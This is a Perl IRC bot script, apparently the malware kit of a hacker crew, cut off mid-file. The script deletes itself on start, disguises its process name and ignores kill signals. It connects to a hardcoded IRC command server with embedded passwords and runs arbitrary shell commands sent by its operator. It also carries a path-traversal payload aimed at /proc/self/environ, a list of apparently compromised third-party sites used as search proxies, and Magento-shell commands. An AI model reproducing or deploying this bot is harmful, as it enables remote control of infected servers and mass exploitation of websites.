#!/usr/bin/perl
use HTTP::Request;
use HTTP::Request::Common;
use HTTP::Request::Common qw(POST);
use LWP::Simple;
use LWP 5.64;
use LWP::UserAgent;
use Socket;
use IO::Socket;
use IO::Socket::INET;
use IO::Select;
use MIME::Base64;
use URI::Escape;
use Digest::MD5 qw(md5_hex);
use DBI;
#use DBD::mysql;
#use MIME::Lite;
my $datetime = localtime;
my $fakeproc = "javacontent";
my $ircserver = "de1.hashbang.sh";
my $ircport = "6666";
my $nickname = "Nano";
my $ident = "Nano";
my $channel = "#Nano";
my $chanxxx = "#Nano";
my $admin = "gUcu";
my $fullname = "11,1Hijaben4@11Crew";
my $rawmsg = $ARGV[4];
my $msgraw = $ARGV[5];
my $ngilang = "rm -rf";
qx($ngilang $0);
my $nob0dy = "11,1Hijaben4@11Crew";
my $magelogo = "8,1*9*8* 9MAGENTO 8*9*8* ";
my $magecmd = "!mage";
my $shopcmd = "-s2";
my $shop2cmd = "-sh2";
my $bin = "!bin2";
my $cmdlfi = ".cmdlfi";
my $ftpcmd = ".ftp";
my $gps = 1;
my $gps2 = 1;
my $timot = 0;
my $mag_shell = "mage.zip";
my $silentmode = 1;
my $uagent = "Microsoft Internet Explorer/4.0b1 (Windows 95)","Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)","Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)","Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)","Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)","Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)","Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)","Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)","Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)","Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)","Mozilla/4.0 (compatible; MSIE 7.0b; Win32)","Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)","Microsoft Pocket Internet Explorer/0.6","Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)","MOT-MPx220/1.400 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone;","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;)","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;)","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)","Advanced Browser (http://www.avantbrowser.com)","Avant Browser (http://www.avantbrowser.com)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)","Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515)","Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)","Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511","Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929","Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0","Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox","Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4","Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1","Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1","Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20051002 Firefox/1.6a1","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b2) Gecko/20060710 Firefox/2.0b2","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b","Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0","Mozilla/3.0 (OS/2; U)","Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)","Mozilla/4.61 (Macintosh; I; PPC)","Mozilla/4.61 [en] (OS/2; U)","Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)","Mozilla/4.8 [en] (Windows NT 5.0; U)";
my $lfdtest = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%0000";
my @rand1 = (
"http://hijaben.eu5.org/errors.php?q=http%3A%2F%2Fwww.google.com%2Fsearch?q",
"http://imotionasia.com.vn/errors.php?q=http%3A%2F%2Fwww.google.com%2Fsearch?q=",
"https://hijaben.web.id/errors.php?q=http%3A%2F%2Fwww.google.com%2Fsearch?q=",
"http://www.thermona-ekb.ru/errors.php?q=http%3A%2F%2Fwww.google.com%2Fsearch?q=",
"http://imotionasia.com.vn/errors.php?q=http%3A%2F%2Fwww.google.com%2Fsearch?q=",
"http://www.gambinigroup.it/media/mailto/error.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=",
"http://ctrl-c.club/~frilyashop/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=",
"http://imotionasia.com.vn/errors.php?q=http%3A%2F%2Fwww.google.com%2Fsearch?q=",
"https://hijaben.web.id/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=",
"http://www.thermona-ekb.ru/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=",
"http://www.gambinigroup.it/media/mailto/error.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=",
"http://imotionasia.com.vn/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q="
);
my @rand2 = (
"http://hijaben.eu5.org/errors.php?q=http%3A%2F%2Fwww.google.com%2Fsearch?q",
"http://imotionasia.com.vn/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=",
"http://www.thermona-ekb.ru/errors.php?____pgfa=https%3A%2F%2Fwww.google.com%2Fsearch?q=",
"http://www.thermona-ekb.ru/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=",
"http://www.gambinigroup.it/media/mailto/error.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=",
"http://ctrl-c.club/~frilyashop/errors.php?____pgfa=https%3A%2F%2Fwww.google.com%2Fsearch?q=",
"http://imotionasia.com.vn/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=",
"https://hijaben.web.id/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=",
"http://www.thermona-ekb.ru/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=",
"http://www.gambinigroup.it/media/mailto/error.php?____pgfa=https%3A%2F%2Fwww.google.co.id%2Fsearch?q=",
"http://ctrl-c.club/~frilyashop/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=",
"http://www.thermona-ekb.ru/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=",
"http://www.gambinigroup.it/media/mailto/error.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q="
);
my @rand3 = (
"http://hijaben.eu5.org/errors.php?q=http%3A%2F%2Fwww.google.com%2Fsearch?q",
"https://hijaben.web.id/errors.php?____pgfa=http%3A%2F%2Fwww.google.com%2Fsearch?q=",
"http://www.thermona-ekb.ru/errors.php?____pgfa=https%3A%2F%2Fwww.google.com%2Fsearch?q=",
"http://www.gambinigroup.it/media/mailto/error.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=",
"http://ctrl-c.club/~frilyashop/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=",
"http://imotionasia.com.vn/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=",
);
my @rand4 = (
"http://hijaben.eu5.org/errors.php?q=http%3A%2F%2Fwww.google.com%2Fsearch?q",
"https://hijaben.web.id/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=",
"http://www.thermona-ekb.ru/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=",
"http://www.gambinigroup.it/media/mailto/error.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=",
"http://www.thermona-ekb.ru/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=",
"http://imotionasia.com.vn/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=",
"http://ctrl-c.club/~frilyashop/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=",
"http://imotionasia.com.vn/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=",
"https://hijaben.web.id/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=",
);
my $x1 = $rand1[rand(scalar(@rand1))];
my $x2 = $rand2[rand(scalar(@rand2))];
my @bypasser = (
"http://hijaben.eu5.org/google.php",
"http://www.thetask.net/mambots/editors/jce/jscripts/tiny_mce/plugins/imgmanager/classes/phpthumb/google.php",
"https://hijaben.web.id/google.php",
"http://www.thetask.net/mambots/editors/jce/jscripts/tiny_mce/plugins/imgmanager/classes/phpthumb/google.php",
"http://hijaben.eu5.org/google.php",
"https://hijaben.web.id/google.php");
my $bypass = $bypasser[rand(scalar(@bypasser))];
my $jack1 = "http://imotionasia.com.vn/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=";
my $jack2 = $rand1[rand(scalar(@rand1))];
my $jack3 = "https://hijaben.web.id/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=";
my $jack4 = $rand1[rand(scalar(@rand1))];
my $jack5 = "http://www.gambinigroup.it/media/mailto/error.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=";
my $jack6 = $rand1[rand(scalar(@rand1))];
my $jack7 = "http://www.thermona-ekb.ru/errors.php?q=https%3A%2F%2Fwww.google.co.nz%2Fsearch?q=";
my $jack8 = $rand1[rand(scalar(@rand1))];
my $jack9 = "http://ctrl-c.club/~frilyashop/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=";
my $jack10 = $rand1[rand(scalar(@rand1))];
my $jack11 = "http://imotionasia.com.vn/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=";
my $jack12 = $rand1[rand(scalar(@rand1))];
my $jack13 = "https://hijaben.web.id/errors.php?q=http%3A%2F%2Fwww.google.co.nz%2Fsearch?q=";
my $jack14 = $rand1[rand(scalar(@rand1))];
my $jack15 = "http://ctrl-c.club/~frilyashop/errors.php?q=http%3A%2F%2Fwww.google.co.nz%2Fsearch?q=";
my $jack16 = $rand1[rand(scalar(@rand1))];
my $jack17 = "https://hijaben.web.id/errors.php?q=http%3A%2F%2Fwww.google.co.nz%2Fsearch?q=";
my $jack18 = $rand1[rand(scalar(@rand1))];
my $jack19 = "http://www.gambinigroup.it/media/mailto/error.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=";
my $jack20 = $rand1[rand(scalar(@rand1))];
my $jack21 = "http://imotionasia.com.vn/errors.php?q=http%3A%2F%2Fwww.google.co.nz%2Fsearch?q=";
my $jack22 = $rand1[rand(scalar(@rand1))];
my $jack23 = "http://www.thermona-ekb.ru/errors.php?q=http%3A%2F%2Fwww.google.ch%2Fsearch?q=";
my $jack24 = $rand1[rand(scalar(@rand1))];
my $jack25 = "http://ctrl-c.club/~frilyashop/errors.php?q=http%3A%2F%2Fwww.google.co.nz%2Fsearch?q=";
my $jack26 = $rand1[rand(scalar(@rand1))];
my $jack27 = $rand1[rand(scalar(@rand1))];
my $indra = $rand3[rand(scalar(@rand3))];
my $cek = $rand1[rand(scalar(@rand1))];
my $dom = $rand4[rand(scalar(@rand4))];
my $file = $rand2[rand(scalar(@rand2))];
my $jabrix = $rand1[rand(scalar(@rand1))];
my $shunceng = "http://ctrl-c.club/~frilyashop/errors.php?q=http%3A%2F%2Fwww.google.co.nz%2Fsearch?q=";
my $suspect = "http://imotionasia.com.vn/errors.php?q=http%3A%2F%2Fwww.google.co.nz%2Fsearch?q=";
my $samri = $rand2[rand(scalar(@rand2))];
my $Bp1 = "http://www.thetask.net/mambots/editors/jce/jscripts/tiny_mce/plugins/imgmanager/classes/phpthumb/google.php?key=";
my $Bp2 = "http://hijaben.eu5.org/google.php?key=";
my $Bp3 = "http://www.thetask.net/mambots/editors/jce/jscripts/tiny_mce/plugins/imgmanager/classes/phpthumb/google.php?key=";
my $Bp4 = "http://hijaben.eu5.org/google.php?key=";
my $Bp5 = "http://www.thetask.net/mambots/editors/jce/jscripts/tiny_mce/plugins/imgmanager/classes/phpthumb/google.php?key=";
my $Bp6 = "http://hijaben.eu5.org/google.php?key=";
my $Bp7 = "http://www.thetask.net/mambots/editors/jce/jscripts/tiny_mce/plugins/imgmanager/classes/phpthumb/google.php?key=";
my $Bp8 = "http://hijaben.eu5.org/google.php?key=";
my $Bp9 = "http://www.thetask.net/mambots/editors/jce/jscripts/tiny_mce/plugins/imgmanager/classes/phpthumb/google.php?key=";
my $Bp10 = "http://hijaben.eu5.org/google.php?key=";
my $Bp11 = "http://www.thetask.net/mambots/editors/jce/jscripts/tiny_mce/plugins/imgmanager/classes/phpthumb/google.php?key=";
my $Bp12 = "http://hijaben.eu5.org/google.php?key=";
my $engine = "shuncengAC,shuncengAD,shuncengAE,shuncengAF,shuncengAG,shuncengAL,shuncengAM,shuncengAN,shuncengAT,shuncengAR,shuncengAU,shuncengBE,shuncengHU,shuncengORG,shuncengCOM,shuncengNeT,shuncengPL,shuncengIT,shuncengID,shuncengMY,shuncengES,shuncengUK,shuncengUS,shuncengJP,shuncengKR,shuncengDE,shuncengDK,shuncengCA,shuncengBR,shuncengRO,shuncengRU,shuncengNL,shuncengINFO,shuncengFR,shuncengIN,shuncengMX,shuncengCZ,shuncengCL,shuncengUA,shuncengCN,shuncengIR,shuncengTH,shuncengEU,shuncengPH,shuncengIL,shuncengIM,shuncengSI,shuncengBIZ,domAC,domAD,domAE,domAF,domAG,domAL,domAM,domAN,domAT,domAR,domAU,domBE,domHU,domORG,domCOM,domNeT,domPL,domIT,domID,domMY,domES,domUK,domUS,domJP,domKR,domDE,domDK,domCA,domBR,domRO,domRU,domNL,domINFO,domFR,domIN,domMX,domCZ,domCL,domUA,domCN,domIR,domTH,domEU,domPH,domIL,domIM,domSI,domBIZ,suspectAC,suspectAD,suspectAE,suspectAF,suspectAG,suspectAL,suspectAM,suspectAN,suspectAT,suspectAR,suspectAU,suspectBE,suspectHU,suspectORG,suspectCOM,suspectNeT,suspectPL,suspectIT,suspectID,suspectMY,suspectES,suspectUK,suspectUS,suspectJP,suspectKR,suspectDE,suspectDK,suspectCA,suspectBR,suspectRO,suspectRU,suspectNL,suspectINFO,suspectFR,suspectIN,suspectMX,suspectCZ,suspectCL,suspectUA,suspectCN,suspectIR,suspectTH,suspectEU,suspectPH,suspectIL,suspectIM,suspectSI,suspectBIZ,engAC,engAD,engAE,engAF,engAG,engAL,engAM,engAN,engAT,engAR,engAU,engBE,engHU,engORG,engCOM,engNeT,engPL,engIT,engID,engMY,engES,engUK,engUS,engJP,engKR,engDE,engDK,engCA,engBR,engRO,engRU,engNL,engINFO,engFR,engIN,engMX,engCZ,engCL,engUA,engCN,engIR,engTH,engEU,engPH,engIL,engIM,engSI,engBIZ,GooGLeCA,GooGLeDE,GooGLeUK,GooGLeFR,GooGLeES,GooGLeIT,GooGLeNL,GooGLeBE,GooGLeCH,GooGLeSE,GooGLeDK,GooGLeNO,GooGLeNZ,GooGLeIE,GooGLeBR,GooGLeAR,GooGLeCO,GooGLeCU,GooGLeCL,GooGLeMX,GooGLeAU,GooGLeRU,GooGLeAT,GooGLePL,GooGLeIL,GooGLeTR,GooGLeUA,GooGLeGR,GooGLeJP,GooGLeCN,GooGLeMY,GooGLeTH,GooGLeIN,GooGLeKR,GooGLeRO,GooGLeTW,GooGLeZA,GooGLePT,AC,AD,AE,AF,AG,AL,AM,AN,AT,AR,AU,BE,HU,OrG,CoM,NeT,PL,IT,ID,MY,ES,UK,US,JP,XXX,TEL,TV,CC,MIL,ASIA,NAME,PRO,TRAVEL,JOBS,MOBI,AERO,CAT,COOP,EDU,GOV,MUSEUM,KR,DE,DK,CA,BR,RO,RU,NL,InfO,FR,IN,MX,CZ,CL,UA,CN,IR,TH,EU,PH,IL,IM,SI,BIZ,AS,AI,AG,AZ,BH,BD,BZ,BO,BA,BW,VG,BG,BI,CO,CD,CG,CK,CR,HR,CU,CI,DJ,DM,DO,EC,EG,SV,EE,ET,FJ,FI,GM,GI,GR,GL,GT,GG,HT,HN,HK,IS,IE,IM,JE,JO,KZ,KE,KG,LV,LS,LY,LI,LT,LU,MW,MT,MU,FM,MN,MS,MA,NA,NP,NZ,NI,NF,NO,OM,PK,PA,PY,PE,PN,PT,PR,QA,RW,SH,SM,SA,SN,SC,SG,SK,ZA,LK,VC,SE,CH,TW,TJ,BS,TO,TT,TR,TM,VI,UG,UY,UZ,VE,VN,ZM,WS,AF,AX,AL,DZ,AO,AQ,AM,AW,AC,BJ,BM,BT,BW,IO,BN,BF,KH,CM,CV,KY,CF,CX,CW,CY,FK,FO,GH,GD,GP,GU,GN,GY,HM,IQ,JM,KI,KW,LA,LB,LR,MO,MG,MV,MP,MQ,MR,YT,MD,MC,ME,MZ,NR,NC,NG,NU,PW,PS,CQ,RE,LC,PM,ST,RS,GS,SL,SX,SB,SO,SU,KN,SR,SZ,TZ,TL,TG,TK,TN,TC,VU,WF,YW,ZW,GooGLe,Yahoo2,KvaSiR,QuinT,Pagina,Clix,ask2,WaLLa,YaHoo,AsK,Bing,OnEt,CLusTy,SaPo,AoL,UoL,LyCos,HotBot,BigLobe,SeZNam,webcrawler,clusty,witch,amidalla,gibla,mywebsearch,dogpile,infocom,searchcom,teoma,volunia,becak,bokep,searchnz,Bypass,Bypass2,AllGooGLe,Marlboro,Mustang,Surya,Vegas,Viper,U-Mild,Tanggida'a,Tanggikiki,Bengsol,Tapa,Ayula,Dulomo,MicroPhone,Monitor,Mouser,Keyboard,Cable,CPU,Modem,Rooter,Printer,FlashDISC,CDroom,HDD,GooGle1,GooGle3,GooGle4,GooGle5,GooGle6,GooGle7,GooGle8,GooGle9,GooGlea2,GooGLeC1,GooGLeC2,GooGLeC3,GooGLeC4,GooGLeC5";
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
#chdir("/");
$ircserver = "$ARGV[0]" if $ARGV[0];
$ircport = "$ARGV[1]" if $ARGV[1];
$nickname = "$ARGV[2]" if $ARGV[2];
$channel = '#'."$ARGV[3]" if $ARGV[3];
$0 = "$fakeproc"."\0" x 16;
my $pid = fork;
exit if $pid;
die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_client = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}
sub connector {
my $mynick = $_[0];
my $ircserver_con = $_[1];
my $ircport_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_client->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
$irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
$irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
nick("$mynick");
sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
sleep(1);}}
sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
}
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($mynick)) {
$mynick = $4;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
}
}
elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick($mynick.int(rand(5)));
}
elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$mynick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
sendraw("MODE $mynick +Bx");
sendraw("NS id status89");
sendraw("OPER gUcu @Master89");
sleep(3);
sendraw("JOIN $channel correct");
sendraw("JOIN $chanxxx mejen");
sleep(1);
sendraw("PRIVMSG $channel :Hi $admin busu tele");
sendraw("PRIVMSG $admin :Hi $admin i love you...!!");
}
}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
select(undef, undef, undef, 0.01);
delete($irc_servers{''}) if (defined($irc_servers{''}));
my @ready = $sel_client->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$mynick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $ircmsg, 4096);
if ($nread == 0) {
$sel_client->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $ircmsg);
$ircmsg =~ s/\r\n$//;
if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
if ($path eq $mynick) {
if ($msg =~ /^PING (.*)/) {
sendraw("NOTICE $nick :PING $1");
}
if ($msg =~ /^VERSION/) {
sendraw("NOTICE $nick :VERSION mIRC v6.21 Khaled Mardam-Bey");
}
if ($msg =~ /^TIME/) {
sendraw("NOTICE $nick :TIME ".$jam."");
}
if (&isAdmin($nick) && $msg eq "!die") {
&shell("$path","kill -9 $$");
}
if (&isAdmin($nick) && $msg eq "!killall") {
&shell("$path","killall -9 perl");
}
if (&isAdmin($nick) && $msg eq "!reset") {
sendraw("QUIT :Restarting...");
}
if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
sendraw("JOIN #".$1);
}
if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
sendraw("PART #".$1);
}
if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
sendraw("NICK ".$1);
}
if (&isAdmin($nick) && $msg =~ /^!pid/) {
sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");
}
if (&isAdmin($nick) && $msg !~ /^!/) {
&shell("$nick","$msg");
}
if (&isAdmin($nick) && $msg =~ /^!raw (.+)/) {
sendraw("$rawmsg $msgraw ".$1);
}
if (&isAdmin($nick) && $msg =~ /^!say (.+)/) {
sendraw("PRIVMSG $rawmsg ".$1);
}
if (&isAdmin($nick) && $msg =~ /^!act (.+)/) {
sendraw("PRIVMSG $rawmsg :ACTION ".$1."");
}
if (&isAdmin($nick) && $msg =~ /^!timot\s+(.*) -d/) {
$newtimot = $1;
$timot = $newtimot;
&msg("$admin","8,1 Get Content TimeOut change to4 $timot ");
}
if (&isAdmin($nick) && $msg =~ /^!gantichan\s+(.+) -d/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
$newchan = $1;
$chanxxx = $newchan;
&msg("$admin","8,1 ganti chaneel ke 4 $chanxxx ");
}}}
}
else {
if (&isAdmin($nick) && $msg eq "!die") {
&shell("$path","kill -9 $$");
}
if (&isAdmin($nick) && $msg eq "!killall") {
&shell("$path","killall -9 perl");
}
if (&isAdmin($nick) && $msg eq "!reset") {
sendraw("QUIT :Restarting...");
}
if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
sendraw("JOIN #".$1);
}
if (&isAdmin($nick) && $msg eq "!part") {
sendraw("PART $path");
}
if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
sendraw("PART #".$1);
}
if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
&shell("$path","$1");
}
if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
&shell("$path","$1");
}
if ($msg=~ /^!silent\s+(.*) -d/) {
$smod = $1;
if ($smod =~ /ON/) { $silentmode = 1; $silentstat = "ON"; }
elsif ($smod =~ /OFF/) { $silentmode = 0; $silentstat = "OFF"; }
&msg("$path","9,1[4!9]Silent Mode15 $silentstat !!!!");
}
if ($msg=~ /^!jackx\s+(.*) -d/) {
$engmod = $1;
if ($engmod =~ /ON/) { $gps = 1; $gpsstat = "ACTIVATED"; }
elsif ($engmod =~ /OFF/) { $gps = 0; $gpsstat = "DEACTIVATED"; }
&msg("$path","9,1[4!9]Jack Engine15 $gpsstat !!!!");
}
if ($msg=~ /^!engine\s+(.*) -d/) {
$engmod = $1;
if ($engmod =~ /ON/) { $gps2 = 1; $gpsstat = "ACTIVATED"; }
elsif ($engmod =~ /OFF/) { $gps2 = 0; $gpsstat = "DEACTIVATED"; }
&msg("$path","9,1[4!9]Multi Engine15 $gpsstat !!!!");
}
if ($msg=~/^-bypass/){
my $bystats1 = "";my $bystats2 = "";my $bystats3 = "";my $bystats4 = "";my $bystats5 = "";my $bystats6 = "";my $bystats7 = "";my $bystats8 = "";
my $cekby1 = &get_content($indra."search");
if ($cekby1 =~ /search/i){ $bystats1 = "9 Up!!!"; } else { $bystats1 = "4 Lost!!!"; }
my $cekby2 = &get_content($shunceng."search");
if ($cekby2 =~ /search/i){ $bystats2 = "9 Up!!!"; } else { $bystats2 = "4 Lost!!!"; }
my $cekby3 = &get_content($samri."search");
if ($cekby3 =~ /search/i){ $bystats3 = "9 Up!!!"; } else { $bystats3 = "4 Lost!!!"; }
my $cekby4 = &get_content($jabrix."search");
if ($cekby4 =~ /search/i){ $bystats4 = "9 Up!!!"; } else { $bystats4 = "4 Lost!!!"; }
my $cekby5 = &get_content($file."search");
if ($cekby5 =~ /search/i){ $bystats5 = "9 Up!!!"; } else { $bystats5 = "4 Lost!!!"; }
my $cekby6 = &get_content($cek."search");
if ($cekby6 =~ /search/i){ $bystats6 = "9 Up!!!"; } else { $bystats6 = "4 Lost!!!"; }
my $cekby7 = &get_content($dom."search");
if ($cekby7 =~ /search/i){ $bystats7 = "9 Up!!!"; } else { $bystats7 = "4 Lost!!!"; }
my $cekby8 = &get_content($suspect."search");
if ($cekby8 =~ /search/i){ $bystats8 = "9 Up!!!"; } else { $bystats8 = "4 Lost!!!"; }
&msg("$path","| 7,1indra = $bystats1 | 7,1Shunceng = $bystats2 | 7,1Samri = $bystats3 | 7,1Jabrix = $bystats4 | 7,1File = $bystats5 | 7,1Cek = $bystats6 | 7,1DOM = $bystats7 | 7,1suspect = $bystats8 |")
}
if (&isAdmin($nick) && $msg eq "!bypass") {
my $bystats1 = "";
my $bystats2 = "";
my $bystats3 = "";
my $bystats4 = "";
my $bystats5 = "";
my $bystats6 = "";
my $bystats7 = "";
my $bystats8 = "";
my $bystats9 = "";
my $bystats10 = "";
my $cekby1 = &get_content($jack1."search");
my $cekby2 = &get_content($jack2."search");
my $cekby3 = &get_content($jack3."search");
my $cekby4 = &get_content($jack4."search");
my $cekby5 = &get_content($jack5."search");
my $cekby6 = &get_content($jack6."search");
my $cekby7 = &get_content($jack7."search");
my $cekby8 = &get_content($jack8."search");
my $cekby9 = &get_content($jack9."search");
my $cekby10 = &get_content($jack10."search");
if ($cekby1 =~ /search/i){ $bystats1 = "9Up!"; } else { $bystats1 = "4Lost!"; }
